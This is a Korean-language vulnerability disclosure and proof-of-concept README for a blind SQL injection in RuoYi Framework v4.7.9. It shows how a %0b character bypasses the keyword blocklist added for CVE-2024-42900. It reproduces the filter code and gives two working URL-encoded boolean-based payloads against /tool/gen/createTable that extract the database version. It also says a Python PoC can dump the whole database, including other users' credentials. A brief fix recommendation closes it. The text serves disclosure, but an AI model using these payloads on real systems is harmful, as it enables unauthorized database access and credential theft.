
RuoYi v4.7.9에 대한 블라인드 SQL 인젝션 개념 증명 익스플로잇, CVE-2024-42900 필터를 우회하여 인증된 부울 기반 인젝션을 통해 데이터베이스를 덤프합니다.
RuoYi Framework v4.7.9의 createTable 기능에서 블라인드 SQL 인젝션 취약점을 발견했습니다. 이로 인해 인증된 관리자가 sql 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다. 이는 CVE-2024-42900 수정을 우회하는 것으로, filterKeyword 메서드의 SQL 인젝션 필터가 불충분하여 정규식을 공백 대신 %0b 문자를 사용하여 우회할 수 있습니다.
제품: RuoYi Framework
버전: ≤ 4.7.9
링크: [Ruoyi]
취약점은 다음 파일에서 발견되었습니다: https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java. 애플리케이션은 SQL 인젝션 공격을 필터링하기 위해 블랙리스트 키워드에 의존하며, 이 접근 방식은 우회에 취약합니다. 이 경우 CVE-2024-42900을 수정하기 위해 /* 문자열이 블랙리스트에 추가되었지만, 애플리케이션이 여전히 %0b 문자를 차단하지 않으므로 select%0b를 사용하여 SQL 인젝션을 트리거할 수 있습니다.
public class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
정규식 select는 select (뒤에 공백)과 일치합니다. select%0b는 SQL에서 유효한 구분자이지만 일치하지 않습니다.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
주의: 성공적인 쿼리마다 CREATE 쿼리에서 테이블 이름을 변경해야 합니다.
3. 부울 기반 SQL 인젝션을 사용하여 이 저장소의 Python [poc]를 통해 데이터를 유출할 수 있습니다.
사용법

DB 버전 유출 PoC

관리자 권한을 가진 공격자는 다른 사용자 자격 증명 및 시스템 구성을 포함하여 전체 데이터베이스를 덤프할 수 있습니다.
%0b 문자를 필터링하세요.select 대신 select 키워드를 필터링하세요 (끝 공백 제거)